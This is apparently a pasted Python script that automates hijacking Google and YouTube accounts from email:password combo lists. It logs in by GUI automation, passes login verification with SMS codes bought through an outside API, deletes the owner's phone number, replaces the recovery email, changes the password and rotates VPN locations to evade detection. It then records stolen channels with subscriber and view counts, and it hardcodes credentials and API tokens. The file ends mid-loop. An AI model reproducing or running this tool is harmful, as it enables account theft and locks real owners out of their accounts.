· 11 years ago · Jul 19, 2015, 10:32 PM
1
2import pyautogui, pyperclip, names, requests
3import telnetlib
4from selenium import webdriver
5from selenium.webdriver.support.ui import WebDriverWait
6
7from random import randint
8from pushover import init, Client
9
10import time, random, string, os, subprocess
11from bs4 import BeautifulSoup
12
13currentdir = os.path.dirname(os.path.realpath(__file__))
14
15with open(os.path.join(currentdir, "info" , "server.txt")) as f:
16 server = f.readlines()
17
18ip = server[0].rstrip("\n")
19ACCOUNT_SID = server[1].rstrip("\n")
20AUTH_TOKEN = server[2].rstrip("\n")
21defaultEmail = "adsnse0@gmail.com"
22defaulPassword = "oguzhan1"
23
24init("aYDXEfotLvLtwy6hmf14kTPJWwr3nG")
25
26#########################################################
27################## CLICK FUNCTIONS ######################
28#########################################################
29
30def sc(x, y):
31 try:
32 pyautogui.moveTo(x, y, 0.2)
33 pyautogui.click()
34 except:
35 pass
36
37def dc(x, y):
38 try:
39 pyautogui.moveTo(x, y, 0.2)
40 pyautogui.doubleClick()
41 except:
42 pass
43
44def paste():
45 try:
46 return pyperclip.paste()
47 except:
48 pass
49def push(title, message):
50 Client("uD24S65yVEbMXKPmVx1HX8Pjccm8jy").send_message(message, title=title)
51
52#########################################################
53#################### WEB FUNCTIONS ######################
54#########################################################
55
56def goTo(website):
57 pyautogui.hotkey('alt', 'd')
58 pyautogui.typewrite(website, interval=0.01)
59 pyautogui.press('enter')
60
61def goToGmail():
62 goTo("mail.google.com/mail/u/0/h/")
63 time.sleep(4)
64
65def goToEditSecond():
66 pyautogui.press('enter')
67 time.sleep(3.5)
68 goTo("accounts.google.com/b/0/EditUserInfo?hl=en")
69 time.sleep(5)
70 pyautogui.press('enter')
71
72def deletePhone():
73 time.sleep(3.5)
74 goTo("https://myaccount.google.com/phone?utm_source=OGB&pli=1&hl=en")
75 time.sleep(7)
76 text = getBody()
77 if not 'is used to reach' in text:
78 sc(1265, 388)
79 time.sleep(3)
80 sc(974, 763)
81 time.sleep(3)
82 sc(974, 715)
83 time.sleep(3)
84
85def goToChaneMyPass():
86 goTo("accounts.google.com/b/0/EditPasswd?continue=https://myaccount.google.com/&hl=en")
87 time.sleep(3)
88
89def goToMyAccount():
90 goTo('myaccount.google.com/?hl=en')
91 pyautogui.press('enter')
92 time.sleep(3)
93
94def getUrl():
95 pyautogui.hotkey('ctrl', 'l')
96 pyautogui.hotkey('ctrl', 'c')
97 text = paste()
98 try:
99 text = str(text)
100 except:
101 getUrl()
102 return text
103
104def getBody():
105 sc(69, 801)
106 pyautogui.hotkey('ctrl', 'a')
107 pyautogui.hotkey('ctrl', 'c')
108 text = paste()
109 try:
110 text = str(text)
111 except:
112 getBody()
113 return text
114
115def getBodyYt():
116 sc(113, 957)
117 time.sleep(1)
118 pyautogui.hotkey('ctrl', 'a')
119 pyautogui.hotkey('ctrl', 'c')
120 text = paste()
121 try:
122 text = str(text)
123 except:
124 getBody()
125 return text
126
127
128
129#########################################################
130################### GOOGLE FUNCTIONS ####################
131#########################################################
132
133def goGoogle():
134 pyautogui.hotkey('ctrl', 'l')
135 pyautogui.typewrite('accounts.google.com/ServiceLogin?&hl=en')
136 pyautogui.press('enter')
137 time.sleep(3)
138
139def loginGoogle(email, password):
140 goGoogle()
141 pyautogui.hotkey('ctrl', 'a')
142 pyautogui.press('delete')
143 pyautogui.typewrite(email)
144 pyautogui.press('enter')
145 time.sleep(2.5)
146 pyautogui.typewrite(password)
147 pyautogui.press('enter')
148
149def setNewPass():
150 os.startfile(os.path.join(currentdir, "helpers" , "savenewpass.exe"))
151 time.sleep(7)
152
153
154def manuel(expassword, password):
155 goToEditSecond()
156 time.sleep(2)
157 pyautogui.moveTo(1616, 406, 1)
158
159 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
160 if(button7location != None):
161 buttonx, buttony = pyautogui.center(button7location)
162 pyautogui.click(buttonx, buttony)
163
164 text = getBody()
165 goToEditSecondEmail(text)
166
167 text = text.replace("\n", " ")
168 texts = text.split(" ")
169
170 gmail = ""
171 for t in texts:
172 if("@gmail" in t):
173 gmail = t.replace("\n", "").replace("\t", "")
174 break
175
176
177 deletePhone()
178 time.sleep(3)
179 goTo("https://security.google.com/settings/security/signinoptions/rescueemail?hl=en")
180 time.sleep(4)
181 link = getUrl()
182
183 if("ServiceLogin" in link):
184 sc(865, 446)
185 pyautogui.typewrite(expassword)
186 time.sleep(2)
187 sc(979,502)
188 time.sleep(4)
189
190 sc(906, 313)
191 pyautogui.hotkey('ctrl', 'a')
192 pyautogui.typewrite(defaultEmail)
193
194 sc(1247, 356)
195 sc(1247, 356)
196
197 time.sleep(2)
198 goToChaneMyPass()
199
200 sc(860, 447)
201 sc(860, 447)
202 pyautogui.typewrite(expassword)
203 pyautogui.press('enter')
204 time.sleep(5)
205 pyautogui.typewrite(password)
206 pyautogui.press('tab')
207 pyautogui.press('tab')
208 pyautogui.press('tab')
209 time.sleep(1)
210 pyautogui.typewrite(password)
211 pyautogui.press('tab')
212 pyautogui.press('tab')
213 time.sleep(1)
214 pyautogui.press('enter')
215
216 return str(gmail) + ":" + password
217
218def goToEditSecondEmail(text):
219 pyautogui.press('enter')
220 if "First name" in text:
221 dc(627, 247)
222 pyautogui.hotkey('ctrl', 'a')
223 pyautogui.typewrite(randName)
224 pyautogui.press('tab')
225 pyautogui.typewrite(randSname)
226 os.startfile(os.path.join(currentdir, "helpers" , "secondname.exe"))
227 time.sleep(10)
228 else:
229 os.startfile(os.path.join(currentdir, "helpers" , "secondnoname.exe"))
230 time.sleep(5)
231
232def whereIsGmail(fakeName):
233
234 pyautogui.moveTo(550,560)
235 button7location = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "redarrow.png"))
236 if(button7location != None):
237 buttonx, buttony = pyautogui.center(button7location)
238 pyautogui.click(buttonx, buttony)
239 else:
240 pyautogui.moveTo(1899,83, 2)
241 sc(1899,83)
242
243 dc(1132, 255)
244 pyautogui.typewrite(fakeName, interval=0.10)
245 time.sleep(1)
246 sc(1112, 326)
247 time.sleep(2)
248 dc(1135, 285)
249 pyautogui.hotkey('ctrl', 'c')
250 text = paste()
251 try:
252 text = str(text)
253 except:
254 text = ""
255
256 if("Someone" in text or "Please" in text):
257 return 2
258 elif ("Your" in text):
259 return 3
260 return 1
261
262
263def registerGmail(fakeName, fakeSurname, flag):
264
265 if(flag == 1):
266 pyautogui.doubleClick(1133, 255)
267 pyautogui.typewrite(fakeName, interval=0.10)
268 time.sleep(0.3)
269 pyautogui.press('tab')
270 pyautogui.typewrite(fakeSurname, interval=0.10)
271 time.sleep(0.3)
272 email = fakeName + fakeSurname + str(randint(3000,9999))
273 email = email.lower()
274 pyautogui.press('tab')
275 pyautogui.typewrite("johnmiller", interval=0.10)
276 time.sleep(0.3)
277 pyautogui.press('tab')
278 pyautogui.press('tab')
279 pyautogui.press('delete')
280 pyautogui.press('tab')
281 time.sleep(0.3)
282 pyautogui.press('delete')
283 pyautogui.typewrite(defaultEmail, interval=0.10)
284 pyautogui.press('enter')
285 time.sleep(2)
286 pyautogui.click(1211,378)
287 time.sleep(1)
288 pyautogui.moveTo(1154,326)
289 pyautogui.doubleClick()
290 time.sleep(2)
291 pyautogui.hotkey('ctrl', 'c')
292 gmail = paste()
293 jc = 0
294
295 while "johnmiller" == gmail and jc < 3:
296 pyautogui.click(1211,380)
297 pyautogui.moveTo(1154,326)
298 pyautogui.doubleClick()
299 pyautogui.hotkey('ctrl', 'c')
300 gmail = paste()
301 jc += 1
302
303 pyautogui.press('enter')
304 return str(gmail) + "@gmail.com"
305
306 elif(flag == 0):
307 dc(1161,255)
308 pyautogui.click()
309 time.sleep(1)
310 pyautogui.typewrite("johnmiller", interval=0.45)
311 time.sleep(2)
312 sc(1231,382)
313 time.sleep(1)
314 sc(1236,308)
315 time.sleep(1)
316 pyautogui.moveTo(1161,251)
317 pyautogui.doubleClick()
318 pyautogui.hotkey('ctrl', 'c')
319 gmail = paste()
320 time.sleep(1)
321 pyautogui.press('tab')
322 time.sleep(1)
323 pyautogui.press('tab')
324 time.sleep(1)
325 pyautogui.press('delete')
326 pyautogui.press('tab')
327 time.sleep(1)
328 pyautogui.press('delete')
329 pyautogui.typewrite(defaultEmail, interval=0.30)
330 time.sleep(1)
331 pyautogui.press('enter')
332 return str(gmail) + "@gmail.com"
333 else:
334 dc(1148, 255)
335 pyautogui.hotkey('ctrl', 'c')
336 gmail = paste()
337 sc(1193, 349)
338 pyautogui.hotkey('ctrl', 'a')
339 pyautogui.press('delete')
340 pyautogui.press('tab')
341 time.sleep(1)
342 pyautogui.press('delete')
343 pyautogui.typewrite(defaultEmail, interval=0.30)
344 time.sleep(1)
345 pyautogui.press('enter')
346 return str(gmail) + "@gmail.com"
347
348def changeAccountInfo(expassword, password, text):
349 goToEditSecondEmail(text)
350
351 t0 = time.clock()
352 url = getUrl()
353
354 while("EditUserInfo" in url):
355 if(time.clock() - t0 > 20):
356 return
357 text = getBody()
358 goToEditSecondEmail(text)
359 url = getUrl()
360
361 time.sleep(3)
362
363 deletePhone()
364 goToChaneMyPass()
365
366 time.sleep(4)
367 pyautogui.typewrite(expassword)
368 pyautogui.press('enter')
369 time.sleep(5)
370 pyautogui.typewrite(password)
371 pyautogui.press('tab')
372 pyautogui.press('tab')
373 pyautogui.press('tab')
374 time.sleep(1)
375 pyautogui.typewrite(password)
376 pyautogui.press('tab')
377 pyautogui.press('tab')
378 time.sleep(1)
379 pyautogui.press('enter')
380 return password
381
382#########################################################
383################### PHONE FUNCTIONS #####################
384#########################################################
385
386def enterPhone(phone):
387 pyautogui.typewrite(phone, interval=0.10)
388 pyautogui.press('enter')
389
390def openPhone(phone):
391 try:
392
393 # dynamically build the URL that we'll be making a request to
394 url = "http://api4.verificationcode.net/order?token=714f25c39711a5bc3eb769166aedf68bea9434b9285758a58fdc4a10c15ece8f"
395
396 # spoof some headers so the request appears to be coming from a browser, not a bot
397 headers = {
398 "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5)",
399 "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
400 "accept-charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3",
401 "accept-encoding": "gzip,deflate,sdch",
402 "accept-language": "en-US,en;q=0.8",
403 }
404
405 # make the request to the search url, passing in the the spoofed headers.
406 r = requests.get(url, headers=headers) # assign the response to a variable r
407
408 # check the status code of the response to make sure the request went well
409 if r.status_code != 200:
410 print("request denied")
411 return
412 else:
413 pass
414
415 # convert the plaintext HTML markup into a DOM-like structure that we can search
416 soup = BeautifulSoup(r.text)
417
418 # each result is an <li> element with class="g" this is our wrapper
419 results = soup.findAll("td")
420
421 for i in range(len(results)):
422 if phone in results[i]:
423 c = str(results[i+3]).lstrip("<td>").rstrip("</td>")
424 code = c.split(" ")[5]
425 return code
426 return ""
427 except:
428 return ""
429def enterCode(code):
430
431 sc(742,382)
432 pyautogui.typewrite(code, interval=0.10)
433 pyautogui.press('enter')
434#########################################################
435################## YOUTUBE FUNCTIONS ####################
436#########################################################
437
438
439def setYoutubeDriver():
440 #changeProxy()
441 global driver
442 driver = webdriver.Firefox()
443 driver.maximize_window()
444 return driver
445
446
447def loginYoutube(email, password):
448 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
449 time.sleep(3)
450 put(".//*[@id='Email']", email)
451 fbxpath(".//*[@id='next']").click()
452 put(".//*[@id='Passwd']", password)
453 fbxpath(".//*[@id='signIn']").click()
454 time.sleep(8)
455
456def isPicassa():
457 cbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "continue.png"))
458 okbutton = pyautogui.locateOnScreen(os.path.join(currentdir, "pics" , "ok.png"))
459
460 if(cbutton != None and okbutton == None):
461 return 0
462 elif(cbutton == None and okbutton != None):
463 return 1
464 else:
465 return 2
466
467def regYoutube():
468 time.sleep(12)
469
470 sc(1200, 645)
471 text = None
472 while text == None:
473 pyautogui.hotkey('ctrl', 'a')
474 pyautogui.hotkey('ctrl', 'c')
475 text = paste()
476
477 if "Picasa" in text:
478 os.startfile(os.path.join(currentdir, "helpers" , "picasa.exe"))
479 time.sleep(15)
480 return
481
482 flag = isPicassa()
483 if (flag == 1):
484 time.sleep(2)
485 sc(1175, 690)
486 return
487
488 elif(flag == 0):
489 os.startfile(os.path.join(currentdir, "helpers" , "flag0.exe"))
490 time.sleep(15)
491 return
492
493 if(flag == 2):
494 sc(651, 704)
495 sc(666, 556)
496 sc(666, 556)
497 time.sleep(1)
498 pyautogui.moveTo(958, 792, 2)
499 pyautogui.click(958, 792)
500
501
502def addToYoutube(info):
503 try:
504 sorunlu = open(os.path.join(currentdir, "info" , "server.txt"), "a")
505 sorunlu.write(info + "\n")
506 sorunlu.close()
507 except:
508 print("Dosya acilamadi")
509
510def addToTekrar(info):
511 try:
512 sorunlu = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
513 sorunlu.write(info + "\n")
514 sorunlu.close()
515 except:
516 print("Dosya acilamadi")
517
518def fbxpath(xpath):
519 try:
520 return WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
521 except:
522 return False
523
524def put(xpath, toSend):
525 try:
526 to = WebDriverWait(driver, 10).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
527 time.sleep(1)
528 to.send_keys(toSend)
529 except:
530 return False
531
532def isShowed(xpath):
533 try:
534 WebDriverWait(driver, 7).until(lambda driver: driver.find_element_by_xpath(str(xpath)))
535 return True
536 except:
537 return False
538
539def createYoutube(email, password):
540 driver.get("https://www.youtube.com/my_videos?o=U")
541 time.sleep(8)
542 text = getBody()
543 if("Help us keep your account secure" in text
544 or "Cookies help" in text):
545 driver.get("https://www.youtube.com/my_videos?o=U")
546 time.sleep(5)
547 text = getBody()
548
549 if "oops" in driver.current_url:
550 time.sleep(2)
551 driver.get("https://www.youtube.com/my_videos?o=U")
552
553 if "Use YouTube as..." in text:
554 sc(866 ,526)
555 driver.get("https://www.youtube.com/my_videos?o=U")
556 time.sleep(10)
557 text = getBody()
558
559 if "Create a channel" in text:
560 flag = 0
561 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
562 regYoutube()
563
564 elif "YouTube channel has content but has been disabled" in text:
565 fbxpath(".//*[@id='vm-general-notifs']/div/div[2]/div/a[1]")
566 time.sleep(3)
567 regYoutube()
568 else:
569 flag = 1
570
571 driver.get("https://www.youtube.com/analytics?o=U")
572 t0 = time.clock()
573
574 while "my_videos" in driver.current_url:
575 if time.clock() - t0 > 25:
576 addToYoutube(email +":" + password)
577 return False
578 time.sleep(2)
579 sc(1875, 91)
580 time.sleep(1)
581 sc(1853, 280)
582 time.sleep(3)
583 driver.get("https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.youtube.com/my_videos?o=U")
584 time.sleep(5)
585 pyautogui.typewrite(password)
586 sc(990, 580)
587 time.sleep(2)
588 url = driver.current_url
589 while("ServiceLogin" in url):
590 pyautogui.typewrite(password)
591 sc(990, 580)
592 time.sleep(2)
593 url = driver.current_url
594 driver.get("https://www.youtube.com/my_videos?o=U")
595 try:
596 fbxpath(".//*[@id='creator-page-content']/div[1]/a").click()
597 except:
598 driver.get("https://www.youtube.com/dashboard?o=U")
599 break
600 time.sleep(4)
601 sc(1170, 690)
602 driver.get("https://www.youtube.com/analytics?o=U")
603
604 time.sleep(10)
605 try:
606 date = fbxpath(".//*[@id='gwt-debug-metadataList']/span[1]").text.lstrip("Created: ").replace(",", "")
607 except:
608 date = "kontroledilecek"
609 driver.get("https://www.youtube.com/dashboard?o=U")
610 subscriber = fbxpath(".//*[@id='dashboard-header-stats']/li[2]/div[1]").text
611 views = fbxpath(".//*[@id='dashboard-header-stats']/li[1]/div[1]").text
612 '''
613 if len(views) > 7:
614 push("Yuksek izlenme!", "Kontrol etmelisin.. Ip: " + ip)
615 '''
616 fbxpath(".//*[@id='dashboard-header-user-name-and-label']/h2/a").click()
617 time.sleep(2)
618 channelUrl = driver.current_url
619
620 if("2005" in date):
621 dateFile = 2005
622 elif("2006" in date):
623 dateFile = 2006
624 elif("2007" in date):
625 dateFile = 2007
626 elif("2008" in date):
627 dateFile = 2008
628 elif("2009" in date):
629 dateFile = 2009
630 elif("2010" in date):
631 dateFile = 2010
632 elif("2011" in date):
633 dateFile = 2011
634 elif("2012" in date):
635 dateFile = 2012
636 elif("2013" in date):
637 dateFile = 2013
638 elif("2014" in date):
639 dateFile = 2014
640 elif("2015" in date):
641 dateFile = 2015
642 else:
643 dateFile = "kontroledilecek"
644 print(str(date))
645 saveYoutube(email, password, channelUrl, dateFile, date, subscriber, views)
646
647
648def saveYoutube(email, password, url, dateFile, date, subscriber, views):
649 try:
650 info = str(email) + "::" + str(password).rstrip("\n") + "::" + str(url) + "::" + str(date) + "::" + str(subscriber) + "::" + str(views)
651 hesaplar = open(os.path.join(currentdir, "save" , str(dateFile) + ".txt"), "a")
652 hesaplar.write(info + "\n")
653 hesaplar.close()
654 except:
655 print("Dosya acilamadi.")
656
657#########################################################
658#################### SAVE FUNCTIONS #####################
659#########################################################
660
661def addToGmail(info):
662 try:
663 hesaplar = open(os.path.join(currentdir, "save" , "gmail.txt"), "a")
664 hesaplar.write(info + "\n")
665 hesaplar.close()
666 except:
667 print("Dosya acilamadi.")
668
669def addToCop(info):
670 try:
671 cop = open(os.path.join(currentdir, "source" , "cop.txt"), "a")
672 cop.write(info[0] + ":" + info[1])
673 cop.close()
674 except:
675 print("Dosya acilamadi.")
676
677def addToOzel(info):
678 try:
679 ozel = open(os.path.join(currentdir, "source" , "ozel.txt"), "a")
680 ozel.write(info[0] + ":" + info[1])
681 ozel.close()
682 except:
683 print("Dosya acilamadi.")
684
685def addToTekrar(info):
686 try:
687 ozel = open(os.path.join(currentdir, "source" , "tekrar.txt"), "a")
688 ozel.write(info[0] + ":" + info[1])
689 ozel.close()
690 except:
691 print("Dosya acilamadi.")
692def addToTekrarYT(info):
693 try:
694 ozel = open(os.path.join(currentdir, "save" , "tekraryt.txt"), "a")
695 ozel.write(info)
696 ozel.close()
697 except:
698 print("Dosya acilamadi.")
699
700def addToCaptcha(info):
701 try:
702 ozel = open(os.path.join(currentdir, "source" , "captcha.txt"), "a")
703 ozel.write(info[0] + ":" + info[1])
704 ozel.close()
705 except:
706 print("Dosya acilamadi.")
707
708def addToYoutube(info):
709 try:
710 sorunlu = open(os.path.join(currentdir, "save" , "tekrardenenecekyoutube.txt"), "a")
711 sorunlu.write(info + "\n")
712 sorunlu.close()
713 except:
714 print( "Dosya acilamadi")
715
716def updateList(i):
717 try:
718
719 with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'w') as fout:
720 fout.writelines(content[i+1:])
721 except:
722 print("Dosya acilamadi.")
723
724
725#########################################################
726################## DRIVER FUNCTIONS #####################
727#########################################################
728
729def createDriver():
730 pyperclip.copy('')
731 global loginC
732 loginC = 0
733 os.system("taskkill /f /t /im firefox.exe")
734 changeProxy()
735 os.startfile("C:\\\Program Files (x86)\\\Mozilla Firefox\\firefox.exe")
736 time.sleep(7)
737
738def changeProxy():
739
740 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
741 # Path to OpenVPN program
742 vypr_bin = "C:\\Program Files\\OpenVPN\\bin\\openvpn.exe"
743 # Path to username/password
744 vypr_auth = "C:\\Users\\Administrator\\Desktop\\youtube\\vypr_auth.txt"
745 # Path to config file. What's server do you want connect to?
746
747 vpn_mgt_host = "127.0.0.1"
748 vpn_mgt_port = "7777"
749 cities = ["Austin", "Chicago", "Los Angeles", "Miami", "New York", "San Francisco", "Seattle", "Washington"]
750 c = random.randint(0, 7)
751 vypr_conf = "C:\\Users\\Administrator\\Desktop\\youtube\\config\\USA - " + cities[c] + ".ovpn"
752 vpn_params = [vypr_bin, "--management", vpn_mgt_host, vpn_mgt_port,
753 "--management-hold", "--config", vypr_conf,
754 "--auth-user-pass", vypr_auth, "--log", "C:\\Users\\Administrator\\Desktop\\youtube\\info\\openvpn.log"]
755
756 # Delete all tap devices
757 subprocess.call("deltapall.bat", shell=True)
758
759 # Add tap devices
760 subprocess.call("addtap.bat", shell=True)
761
762 # Run OpenVPN daemon but management hold
763 prog = subprocess.Popen(vpn_params, shell=True,
764 stdin=None, stdout=None, stderr=None, close_fds=True)
765
766 # vpn_pid = prog.pid
767
768 # Connect to OpenVPN management daemon
769 tn = telnetlib.Telnet(vpn_mgt_host, vpn_mgt_port)
770 # Turn on log
771 tn.write(("log on\r\n").encode('ascii'))
772 time.sleep(1)
773 # Hold release
774 tn.write(("hold release\r\n").encode('ascii'))
775 time.sleep(2)
776 # Waiting to OpenVPN connected
777 time.sleep(15)
778 print ("Connected to " + cities[c])
779
780def endSession():
781 pyautogui.hotkey('alt', 'f4')
782 os.startfile(os.path.join(currentdir, "helpers" , "processkill.exe"))
783 time.sleep(5)
784 updateList(i)
785 createDriver()
786
787def checkSuccess(failC, sucC, loginC):
788 if loginC > 30:
789 endSession()
790 if i % 50 != 0:
791 return
792 try:
793 failRate = failC / sucC
794 except:
795 failRate = failC
796
797 if failRate > 49:
798 updateList(i)
799
800with open(os.path.join(currentdir, "source" , "ayiklanacak.txt"), 'r') as f:
801 content = f.read().splitlines(True)
802with open(os.path.join(currentdir, "info" , "telefonlar.txt"), 'r') as f:
803 phones = f.read().splitlines(True)
804######################################################
805
806failC = 0
807sucC = 0
808
809k = 0
810p = 0
811
812createDriver()
813
814for i in range(len(content)):
815 checkSuccess(failC, sucC, loginC)
816 try:
817 info = content[i].split(":")
818 email = info[0]
819 password = info[1].rstrip("\n")
820 if(len(password) < 6 or "@" not in email):
821 continue
822 print("Kullanci Adi: " + email + "\n" + "Sifre: " + password)
823 print("Succes: " + str(sucC) + " Fail: " + str(failC))
824 '''
825 chars = string.ascii_letters + string.digits
826 newPass = ''.join(random.SystemRandom().choice(chars) for i in range(10))
827 '''
828 newPass = "oguzhan1"
829 randName = names.get_first_name(gender='male')
830 randSname = names.get_last_name()
831 except:
832 addToOzel(content[i].split(":"))
833 time.sleep(2)
834 continue
835 try:
836 phone = phones[p].rstrip("\n")
837 except:
838 p = 0
839 phone = phones[p].rstrip("\n")
840
841 try:
842 loginGoogle(email, password)
843 loginC += 1
844 except:
845 addToCop(info)
846 continue
847
848 if "gmail" in email:
849 time.sleep(6)
850 else:
851 time.sleep(3)
852 text = getBody()
853
854 if("One account. All of Google." in text
855 or "Sorry, Google doesn't recognize" in text
856 or "Your Google Account is managed by" in text
857 or "Sorry, we can't process" in text
858 or "Google" not in text
859 or "We've detected unusual activity" in text
860 or "2-Step verification" in text
861 ):
862
863 if("Letters are" in text or "Firefox" in text):
864 addToCaptcha(info)
865 endSession()
866 k = 0
867 continue
868 elif "privacy reminder" in text:
869 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
870 time.sleep(5)
871 else:
872 addToCop(info)
873 failC += 1
874 k = 0
875 continue
876 elif ("Letters are" in text):
877 addToCaptcha(info)
878 k = 0
879 endSession()
880 continue
881 elif "Please re-enter" in text:
882 addToOzel(content[i-1].split(":"))
883 endSession()
884 elif "Firefox" in text:
885 addToCaptcha(info)
886 k = 0
887 endSession()
888 elif "Google" not in text:
889 addToCop(info)
890 failC += 1
891 k = 0
892 continue
893 else:
894 time.sleep(3)
895 url = getUrl()
896
897 url = getUrl()
898 if "privacyreminder" in url:
899 os.startfile(os.path.join(currentdir, "helpers" , "privacy.exe"))
900 time.sleep(7)
901 url = getUrl()
902
903 if "VerifiedPhoneInterstitial" in url:
904 time.sleep(2)
905 sc(1113,800)
906 time.sleep(5)
907 url = getUrl()
908
909 elif not "google" in url:
910 addToCop(info)
911 failC += 1
912 continue
913
914 elif "LoginVerification" in url:
915 text = getBody()
916 if("Tell us the city" in text
917 or "Answer your secret question" in text
918 or "Enter your recovery" in text
919 or "Android" in text
920 or "Receive a verification" in text
921 or "Tell us your phone number" in text):
922 if("Enter a phone" not in text
923 or "Sorry, we can't process" in text):
924 addToCop(info)
925 failC += 1
926 continue
927 if "Tell us the city" in text:
928 sc(747, 452)
929 else:
930 sc(745,427)
931 enterPhone(phone)
932 time.sleep(4)
933 text = getBody()
934 sc(758, 618)
935
936 while "already" in text :
937 p += 1
938 if(p == len(phones)):
939 p = 0
940 phone = phones[p].rstrip("\n")
941 sc(742,382)
942 pyautogui.hotkey('ctrl', 'a')
943 pyautogui.press('delete')
944 code = openPhone(phone)
945 enterCode(code)
946 time.sleep(5)
947 text = getBody()
948 sc(758, 618)
949 if "until in text":
950 continue
951
952 cC = 0
953 while cC < 3:
954 sc(742,382)
955 pyautogui.hotkey('ctrl', 'a')
956 pyautogui.press('delete')
957 code = openPhone(phone)
958 enterCode(code)
959 time.sleep(5)
960 url = getUrl()
961 if not "LoginVerification" in url:
962 break
963 else:
964 time.sleep(6)
965 cC += 1
966
967
968 elif("ChangePassword" in url):
969 setNewPass()
970 newPass = defaulPassword + "\n"
971 password = defaulPassword + "\n"
972 goToGmail()
973
974 elif("google" not in url or "ServiceLoginAuth" in url):
975 addToCop(info)
976 failC += 1
977 continue
978
979 elif("RecycledEmailInterstitial" in url
980 or "AccountRecoveryOptionsPrompt" in url
981 or "myaccount" in url):
982 time.sleep(3)
983 goToGmail()
984
985 elif("EmailNotVerified" in url):
986 time.sleep(3)
987 goToGmail()
988 time.sleep(4)
989 url = getUrl()
990 if("ServiceLogin" in url):
991 sc(882,448)
992 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
993 pyautogui.press('enter')
994 time.sleep(4)
995 url = getUrl()
996 time.sleep(3)
997
998 else:
999 print("-----RAPOR EDILMELI!!!!")
1000 addToOzel(info)
1001 endSession()
1002 continue
1003
1004 time.sleep(9)
1005 url = getUrl()
1006 time.sleep(1)
1007 try:
1008 sc(1899,83)
1009 except:
1010 pass
1011 if "privacyreminder" in url:
1012 sc(1231, 984)
1013 time.sleep(2)
1014 sc(1231, 984)
1015 time.sleep(5)
1016 goToGmail()
1017 time.sleep(5)
1018 url = getUrl()
1019 if("EmailNotVerified" in url):
1020 time.sleep(3)
1021 goToGmail()
1022 time.sleep(5)
1023 url = getUrl()
1024 if("ServiceLogin" in url):
1025 sc(882,448)
1026 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1027 pyautogui.press('enter')
1028 time.sleep(3)
1029 url = getUrl()
1030 time.sleep(6)
1031
1032 if("myaccount" in url):
1033 goToGmail()
1034 time.sleep(5)
1035 url = getUrl()
1036
1037 if("ServiceLogin" in url):
1038 sc(882,448)
1039 pyautogui.typewrite(str(randint(1960,1994)), interval=0.2)
1040 pyautogui.press('enter')
1041 time.sleep(3)
1042 url = getUrl()
1043
1044 if("AccountRecoveryOptionsPrompt" in url):
1045 addToTekrar(info)
1046 continue
1047
1048 if("mail/" in url):
1049 gmail = manuel(password, newPass)
1050 g = gmail.split(":")
1051 gmail = g[0]
1052 newPass = g[1]
1053
1054 elif("ChangePassword" in url):
1055
1056 setNewPass()
1057 newPass = defaulPassword + "\n"
1058 password = defaulPassword + "\n"
1059 time.sleep(8)
1060 goToGmail()
1061 time.sleep(5)
1062 url = getUrl()
1063 if("mail/" not in url):
1064 flag = whereIsGmail(randName)
1065 if(flag==1):
1066 gmail = registerGmail(randName, randSname, 1)
1067 goToEditSecond()
1068 text = getBody()
1069
1070 try:
1071 if(not "@gmail.com" in text):
1072 addToOzel(info)
1073 failC += 1
1074 endSession()
1075 continue
1076 except:
1077 pass
1078
1079 newPass = changeAccountInfo(password, newPass, text)
1080
1081 elif(flag==2):
1082 gmail = registerGmail(randName, randSname, 0)
1083 goToEditSecond()
1084 text = getBody()
1085
1086 try:
1087 if(not "@gmail.com" in text):
1088 addToOzel(info)
1089 failC += 1
1090 endSession()
1091 continue
1092 except:
1093 pass
1094
1095 newPass = changeAccountInfo(password, newPass, text)
1096
1097 elif(flag == 3):
1098 addToCop(info)
1099 failC += 1
1100 endSession()
1101 continue
1102 else:
1103 gmail = manuel(newPass, newPass)
1104 g = gmail.split(":")
1105 gmail = g[0]
1106 newPass = g[1]
1107
1108 elif("inbox" in url):
1109 gmail = manuel(password, newPass)
1110 g = gmail.split(":")
1111 gmail = g[0]
1112 newPass = g[1]
1113
1114 elif("AddMailService" in url):
1115 pyautogui.moveTo(1899,83)
1116 time.sleep(1)
1117 sc(1899,83)
1118 time.sleep(1)
1119 flag = whereIsGmail(randName)
1120 if(flag==1):
1121 gmail = registerGmail(randName, randSname, 1)
1122 goToEditSecond()
1123 text = getBody()
1124
1125 try:
1126 if(not "@gmail.com" in text):
1127 addToOzel(info)
1128 failC += 1
1129 endSession()
1130 continue
1131 except:
1132 pass
1133
1134 newPass = changeAccountInfo(password, newPass, text)
1135
1136 elif(flag==2):
1137 gmail = registerGmail(randName, randSname, 0)
1138
1139 goToEditSecond()
1140 text = getBody()
1141
1142 try:
1143 if(not "@gmail.com" in text):
1144 addToOzel(info)
1145 failC += 1
1146 endSession()
1147 continue
1148 except:
1149 pass
1150
1151 newPass = changeAccountInfo(password, newPass, text)
1152 elif(flag == 4):
1153 addToCop(info)
1154 failC += 1
1155 endSession()
1156 continue
1157 else:
1158 addToTekrar(info)
1159 endSession()
1160 continue
1161
1162 else:
1163 url = getUrl()
1164 if("mail/" in url
1165 or "inbox" in url):
1166 gmail = manuel(password, newPass)
1167 g = gmail.split(":")
1168 gmail = g[0]
1169 newPass = g[1]
1170 else:
1171 print("-----RAPOR EDILMELI!!!!")
1172 addToOzel(info)
1173 endSession()
1174 continue
1175
1176 time.sleep(5)
1177 pyautogui.hotkey('alt', 'f4')
1178 try:
1179 driver = setYoutubeDriver()
1180 loginYoutube(str(gmail), newPass)
1181 text = getBody()
